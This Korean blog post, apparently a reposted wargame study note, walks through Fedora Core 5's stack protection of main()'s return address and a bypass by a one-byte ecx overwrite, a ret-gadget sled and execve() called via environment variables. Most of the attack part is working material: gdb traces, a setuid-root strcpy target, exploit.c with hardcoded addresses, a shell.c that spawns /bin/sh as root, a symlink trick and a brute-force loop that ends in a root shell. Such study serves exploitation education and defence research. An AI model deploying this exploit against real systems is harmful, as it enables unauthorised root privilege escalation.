Pwnable 도서관/Linux 스터디

FC10 (end)

0x00 2023. 4. 5. 13:59
 *** 9. FC5에서의 stack 방어 메커니즘 이해(stack shield, guard) ***
====================================================================

return address을 ret + exe계열함수 기법으로 exploit을 하면서 솔라리스 디자이너는 

return address를 직접적으로 변경이 안되게 만들어야 하는 방어 메커니즘을 필요로 하게 됩니다.

결국 stack shield + guard방식을 적용하게 됩니다.

다음 소스를 보겠습니다.

[randomkid@localhost vul]$ cat main.c
#include <stdio.h>
int main()
{
        return 0;
}

[randomkid@localhost vul]$

위 프로그램은 stack을 어떻게 보호하는지 확인하기 위해 만든 프로그램입니다.
그럼 컴파일후 gdb로 main()의 내부를 보도록 하겠습니다.

[randomkid@localhost vul]$ gcc -o main main.c
[randomkid@localhost vul]$ gdb -q main
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048354 <main+0>:    lea    0x4(%esp),%ecx
0x08048358 <main+4>:    and    $0xfffffff0,%esp
0x0804835b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804835e <main+10>:   push   %ebp
0x0804835f <main+11>:   mov    %esp,%ebp
0x08048361 <main+13>:   push   %ecx
0x08048362 <main+14>:   mov    $0x0,%eax
0x08048367 <main+19>:   pop    %ecx
0x08048368 <main+20>:   pop    %ebp
0x08048369 <main+21>:   lea    0xfffffffc(%ecx),%esp
0x0804836c <main+24>:   ret
0x0804836d <main+25>:   nop
0x0804836e <main+26>:   nop
0x0804836f <main+27>:   nop
End of assembler dump.
(gdb) b *main+0
Breakpoint 1 at 0x8048354
(gdb) r
Starting program: /home/randomkid/vul/main
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xb63000
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048354 in main ()
(gdb)
 
main()의 프롤로그 부분에 브레이크를 걸고 실행을 하였습니다.

딱 보시면 알겠지만 FC5에서는 이전 FC에서 볼 수 없는 프롤로그 작업을 합니다.

<main+0>:    lea    0x4(%esp),%ecx
<main+4>:    and    $0xfffffff0,%esp
<main+7>:    pushl  0xfffffffc(%ecx)

이 3줄입니다.
그럼 의미를 알기 위해 main() 프롤로그부터 한 라인씩 실행해 보겠습니다.

(gdb) x/4wx $esp
0xbf853a2c:     0x008207e4(return address)      0x00000001      0xbf853ab4      0xbf853abc
(gdb) si <--- lea    0x4(%esp),%ecx 수행.
0x08048358 in main ()
(gdb) info reg ecx <--- ecx레지스터에 &return address + 4 위치값을 저장.
ecx            0xbf853a30       -1081787856
(gdb) si <--- and    $0xfffffff0,%esp 수행.
(gdb) x/8wx $esp <--- esp안의 최하위 4bit를 0으로 만들어 esp위치를 12byte 확장.
0xbf853a20:     0x00807cc0      0x08048378      0xbf853a88      0x008207e4
0xbf853a30:     0x00000001      0xbf853ab4      0xbf853abc      0x007fb5bb
(gdb) si <--- pushl  0xfffffffc(%ecx) 수행.
(gdb) x/9wx $esp <--- ecx를 이용하여 return address의 주소를 복제하여 stack에 넣어둠.
0xbf853a1c:     0x008207e4(ret) 0x00807cc0      0x08048378      0xbf853a88
0xbf853a2c:     0x008207e4(ret) 0x00000001      0xbf853ab4      0xbf853abc
0xbf853a3c:     0x007fb5bb
(gdb) si <--- push   %ebp 수행.
(gdb) x/10wx $esp <--- stack상에 base pointer 구성.
0xbf853a18:     0xbf853a88      0x008207e4      0x00807cc0      0x08048378
0xbf853a28:     0xbf853a88      0x008207e4      0x00000001      0xbf853ab4
0xbf853a38:     0xbf853abc      0x007fb5bb
(gdb) si <--- mov    %esp,%ebp 수행.
(gdb) x/x $ebp <--- ebp를 esp와 동일하게 만들어서 이전 함수의 base pointer값을 가리키게 함.
0xbf853a18:     0xbf853a88
(gdb) x/x $esp
0xbf853a18:     0xbf853a88
(gdb) si <--- push   %ecx
(gdb) x/11wx $esp <--- &return address + 4를 가리키는 ecx레지스터값을 stack에 저장함.
0xbf853a14:     0xbf853a30      0xbf853a88      0x008207e4      0x00807cc0
0xbf853a24:     0x08048378      0xbf853a88      0x008207e4      0x00000001
0xbf853a34:     0xbf853ab4      0xbf853abc      0x007fb5bb
(gdb) si <--- mov    $0x0,%eax
0x08048367 in main ()
(gdb) info reg eax <--- eax레지스터에 0을 넣음.(소스코드의 return 0;을 수행)
eax            0x0      0
(gdb)

이제부터 함수 에필로그 작업에 들어갑니다.
중요한 부분이니 주의 깊게 보시기 바랍니다.

(gdb) si <--- pop    %ecx 수행.
0x08048368 in main ()
(gdb) info reg ecx <--- ecx레지스터를 &return address + 4위치를 가리키게 함.
ecx            0xbf853a30       -1081787856
(gdb) x/10wx $esp
0xbf853a18:     0xbf853a88      0x008207e4      0x00807cc0      0x08048378
0xbf853a28:     0xbf853a88      0x008207e4      0x00000001      0xbf853ab4
0xbf853a38:     0xbf853abc      0x007fb5bb
(gdb) si <--- pop    %ebp 수행.
0x08048369 in main ()
(gdb) info reg ebp <--- 이전 함수의 base pointer로 복귀 시킴.
ebp            0xbf853a88       0xbf853a88
(gdb) x/9wx $esp 
0xbf853a1c:     0x008207e4      0x00807cc0      0x08048378      0xbf853a88
0xbf853a2c:     0x008207e4      0x00000001      0xbf853ab4      0xbf853abc
0xbf853a3c:     0x007fb5bb
(gdb) si <--- lea    0xfffffffc(%ecx),%esp 수행.
0x0804836c in main ()
(gdb) x/x $esp <--- esp를 &return address로 가리키게 함.
0xbf853a2c:     0x008207e4
(gdb) si <--- ret 수행.( main() 이전 함수를 진행 시킴)
0x008207e4 in __libc_start_main () from /lib/libc.so.6

여기까지 FC5에서 main()의 프롤로그와 에필로그 작업을 다 보셨습니다.

쉽게 보기 위해 에필로그 작업을 마친 stack을 도식화 해보겠습니다.


          <FC5 stack>
+----------------------------+ <--- stack의 높은 주소
|       return address       |
+----------------------------+
|           dummy            |
+----------------------------+
|           dummy            |
+----------------------------+
|           dummy            |
+----------------------------+
|    copy return address     |
+----------------------------+
|            ebp             |
+----------------------------+
|  &return address + 4(ecx)  |
+----------------------------+ <--- stack의 낮은 주소

결국 위와 같이 되는 것 입니다.

stack overflow를 하게 될 경우를 생각해보면 가장 난관이 바로 stack에 구성된 ecx값이 될 것입니다.
main()의 에필로그 부분을 보면 stack에 구성된 ecx - 4 한 주소를 esp로 넣어 ret 명령을 수행하기 때문에 입니다.
물론 이때 stack에 구성된 ecx값은 random stack address값이 됩니다.

참 난감한 상황이 아닐수 없습니다.(ㅠㅠ)

return address를 변조할려면 stack에 구성된 ecx값을 변조 할 수 밖에 없는데 이 random적으로 변하는 stack의 주소값을 정확히 추측할 수 없기 때문입니다.

=================================================================================
 *** 10. FC5에서의 stack 방어 메커니즘 우회 공격 기법(ecx one byte overflow) ***
=================================================================================

어떻게 해야 저 stack 보호 메커니즘을 뚫고 root shell을 얻을 수 있겠습니까?

방법을 말씀드리겠습니다.

일단 stack상에 방패 역할을 하는 ecx값을 최하위 한 바이트만 0x00으로 덮어씌웁니다.

그럼 에필로그 작업을 수행할 때 buffer쪽으로 esp가 넘어오게됩니다.(확률상 높게 나타납니다.)

buffer의 어느 위치에 정확히 esp가 넘어올지 모르기때문에 buffer의 최상위 4바이트를 제외한 모든 부분을 ret코드로 채웁니다.

그렇게 되면 stack의 높은 주소로 esp가 올라가게 되고 최종적으로 main()의 에필로그 부분을 

한번 더 수행해주면 환경변수나 argv영역으로 프로그램 흐름이 넘어가게 됩니다.

지금 설명한 부분을 도식화 해보겠습니다.

        <공격전 stack>                 <공격후 stack>        
+----------------------------+ +----------------------------+    <--- stack의 높은 주소
|             0              | |       execve()'s 3인자     |  +-------------------------------------------------> root shell!!! (end)
+----------------------------+ +----------------------------+  |
|             0              | |       execve()'s 2인자     |  |
+----------------------------+ +----------------------------+  |
|             0              | |       execve()'s 1인자     |  |
+----------------------------+ +----------------------------+  |
|             0              | |           dummy            |  |
+----------------------------+ +----------------------------+  | 
|             0              | |          &execve()         |  +  <--- lea 0xfffffffc(%ecx),%esp + ret --+
+----------------------------+ +----------------------------+ 						 |
|             0              | |           dummy            |						 |
+----------------------------+ +----------------------------+						 |
|             0              | |           dummy            |						 |
+----------------------------+ +----------------------------+						 |
|             0              | |           dummy            |						 |
+----------------------------+ +----------------------------+						 |
													 |
             중략                           중략              						 |
      													 |
+----------------------------+ +----------------------------+						 |
|             0              | |      &environs address     |  +------ pop %ebp -------------------------+        
+----------------------------+ +----------------------------+  |				
|             0              | |      &environs address     |  +  <--- pop %ecx -----------------+
+----------------------------+ +----------------------------+					 |				
												 |
             중략                           중략						 |
												 |
+----------------------------+ +----------------------------+					 |
|       return address       | |       return address       |					 |
+----------------------------+ +----------------------------+					 |
|           dummy            | |           dummy            |					 |
+----------------------------+ +----------------------------+					 |
|           dummy            | |           dummy            |					 |
+----------------------------+ +----------------------------+					 |
|           dummy            | |           dummy            |					 |
+----------------------------+ +----------------------------+					 |
|    copy return address     | |    copy return address     |					 |
+----------------------------+ +----------------------------+					 |
|            ebp             | |            ebp             |					 |
+----------------------------+ +----------------------------+					 |
|  &return address + 4(ecx)  | |     one byte 0x00 ecx      |  start ------+			 |
+----------------------------+ +----------------------------+              |			 |
|         buffer             | |     main()'s epilogue      |  +-----------+- add $0x???, %esp --+ 
+----------------------------+ +----------------------------+  ^           |
|         buffer             | |            ret             |  |           |
+----------------------------+ +----------------------------+  |           |
|         buffer             | |            ret             |  |           |
+----------------------------+ +----------------------------+  |           |
|         buffer             | |            ret             |  |           |
+----------------------------+ +----------------------------+  |           |
|         buffer             | |            ret             |  +  <--------+           
+----------------------------+ +----------------------------+
|         buffer             | |            ret             |
+----------------------------+ +----------------------------+   <--- stack의 낮은 주소


위의 그림에서 start부분부터 따라가면서 봐주시면 이해가 되실 겁니다.

취약 프로그램을 공격해보겠습니다.

[randomkid@localhost vul]$ ls -al vul
-rwsr-xr-x 1 root root 4699 Apr 14 10:44 vul
[randomkid@localhost vul]$ cat vul.c
#include <stdio.h>
#include <string.h>
int main(int argc,char**argv)
{
        char buf[256];
        strcpy(buf,argv[1]);
}

[randomkid@localhost vul]$ id
uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t
[randomkid@localhost vul]$ uname -a
Linux localhost.localdomain 2.6.18-1.2257.fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux
[randomkid@localhost vul]$

root 권한으로 실행이 되는 취약 프로그램입니다.

공격 과정은 다음과 같습니다.

1. 아스키아머가 걸리지 않은 ret코드 주소를 알아낸다.
2. main()'s 에필로그 주소를 알아낸다.
3. 몇번째 enviorns에서 ret이 되는지 알아낸다.
4. &execve()'s address를 알아낸다.
5. 심볼릭 링크를 걸고 공격하여 root shell을 얻어낸다.

그럼 gdb로 취약 프로그램을 분석합니다.

[randomkid@localhost vul]$ gdb -q vul
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048384 <main+0>:    lea    0x4(%esp),%ecx
0x08048388 <main+4>:    and    $0xfffffff0,%esp
0x0804838b <main+7>:    pushl  0xfffffffc(%ecx)
0x0804838e <main+10>:   push   %ebp
0x0804838f <main+11>:   mov    %esp,%ebp
0x08048391 <main+13>:   push   %ecx
0x08048392 <main+14>:   sub    $0x114,%esp
0x08048398 <main+20>:   mov    0x4(%ecx),%eax
0x0804839b <main+23>:   add    $0x4,%eax
0x0804839e <main+26>:   mov    (%eax),%eax
0x080483a0 <main+28>:   mov    %eax,0x4(%esp)
0x080483a4 <main+32>:   lea    0xfffffefc(%ebp),%eax
0x080483aa <main+38>:   mov    %eax,(%esp)
0x080483ad <main+41>:   call   0x80482c8 <__gmon_start__@plt+16>
0x080483b2 <main+46>:   add    $0x114,%esp    <--- main()'s 에필로그 주소
0x080483b8 <main+52>:   pop    %ecx
0x080483b9 <main+53>:   pop    %ebp
0x080483ba <main+54>:   lea    0xfffffffc(%ecx),%esp
0x080483bd <main+57>:   ret                   <--- ret코드 주소            
0x080483be <main+58>:   nop
0x080483bf <main+59>:   nop
End of assembler dump.
(gdb)

ret코드 주소와 에필로그 주소를 알아냈습니다.

다음 몇번째 환경변수값을 ret하는지 알아내기 위해 다음과 같은 프로그램을 만듭니다.

(gdb) q
[randomkid@localhost vul]$ cat test.c
#include <stdio.h>
int main()
{
        char *environs[] = {
                "K1",
                "K2",
                "K3",
                "K4",
                "K5",
                "K6",
                "K7",
                "K8",
                "K9",
                "K10",
                "K11",
                "K12",
                "K13",
                "K14",
                "K15",
                "K16",
                "K17",
                "K18",
                "K19",
                "K20",
                "K21",
                "K22",
                "K23",
                "K24",
                "K25",
                "K26",
                "K27",
                "K28",
                "K29",
                "K30",
                0
        };


        char *argv[] = {
                "./vul",
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08" /* <--- ret 코드 주소 */
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xb2\x83\x04\x08",  /* <--- main()'s의 에필로그 */
                0
        };

        execve("./vul",argv,environs);
}

위 프로그램을 gdb로 돌리면 몇번째 환경변수가 ret이 실행되는지 알 수 있습니다.

[randomkid@localhost vul]$ gcc -o test test.c
[randomkid@localhost vul]$ gdb -q test
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /home/randomkid/vul/test
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xeb4000
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x0036324b in ?? ()
(gdb) x/s $esp
0xbfe55fe6:      "K27"
(gdb)

26번째 인자가 ret이 수행이 되었습니다.

그럼 26번째 인자를 &execve()로 바꾸고 28번째에서 execve()의 인자를 올바르게 구성시켜주면 됩니다.
(gdb) p execve            <--- &execve() address
$1 = {<text variable, no debug info>} 0x8962fc <execve>
(gdb) x/x 0x08049074      <--- execve()의 첫번째 인자
0x8049074:      0x00000001
(gdb) x/x 0x08049704      <--- execve()의 두번째, 세번째 인자
0x8049704:      0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
[randomkid@localhost vul]$ cat exploit.c
#include <stdio.h>
int main()
{
        char *environs[] = {
                "K1",
                "K2",
                "K3",
                "K4",
                "K5",
                "K6",
                "K7",
                "K8",
                "K9",
                "K10",
                "K11",
                "K12",
                "K13",
                "K14",
                "K15",
                "K16",
                "K17",
                "K18",
                "K19",
                "K20",
                "K21",
                "K22",
                "K23",
                "K24",
                "K25",
                "\xfc\x62\x89",    /* <--- &execve()'s address */
                "K27",
                "\x74\x90\x04\x08" /* <--- execve() 첫번째 인자 */
                "\x04\x97\x04\x08" /* <--- execve() 두번째 인자 */
                "\x04\x97\x04\x08",/* <--- execve() 세번째 인자 */ 
                0
        };


        char *argv[] = {
                "./vul",
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08"
                "\xb2\x83\x04\x08",
                0
        };

        execve("./vul",argv,environs);
}

[randomkid@localhost vul]$ cat shell.c
#include <stdio.h>
int main()
{
        printf("root in!!!\n");
        setuid(0);
        system("/bin/sh");
}
[randomkid@localhost vul]$ gcc -o shell shell.c
[randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x01"'`
[randomkid@localhost vul]$ ls -al `perl -e 'print "\x01"'`
lrwxrwxrwx 1 randomkid randomkid 5 May 22 09:16 ? -> shell
[randomkid@localhost vul]$

모든 준비가 끝났습니다. 
그럼 공격을 해보겠습니다.

[randomkid@localhost vul]$ gcc -o exploit exploit.c
[randomkid@localhost vul]$ ./exploit
[randomkid@localhost vul]$ while [ 1 ];
> do
> ./exploit
> done
Segmentation fault
Segmentation fault
Segmentation fault
root in!!!
sh-3.1# id
uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t
sh-3.1# uname -a
Linux localhost.localdomain 2.6.18-1.2257.fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux
sh-3.1#

root shell을 얻었습니다.


레퍼런스

- Fedora Core 5,6 시스템 기반 main() 함수 내의 달라진 stack overflow 공격 기법 (Xpl017Elz)
- Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 (Xpl017Elz)
- The New Way to Attack Applications On Operating Systems under Execshield (Xpl017Elz)
- Fedora Core 3에서 Overflow Explotation (vangelis)
- The advanced return-into-lib(c) exploits (Nergal)
- The Frame Pointer Overwrite (klog)
- BYPASSING STACKGUARD AND STACKSHIELD (Bulba and Kil3r)
- Bypass Exec-shield under RedHat PST (axis)
- 리모트 오버플로우 공격 기법 총 정리 (mongii)
- 해커지망자들이 알아야 할 Buffer Overflow Attack의 기초 (달고나)

 

출처 :RandomKid

'Pwnable 도서관 > Linux 스터디' 카테고리의 다른 글

pwnable.kr [Toddler's Bottle]  (0) 2023.07.11
pwntools  (0) 2023.05.19
FC4 clear  (0) 2023.04.04
FC3 claer  (0) 2023.03.22
LOB clear  (0) 2022.12.22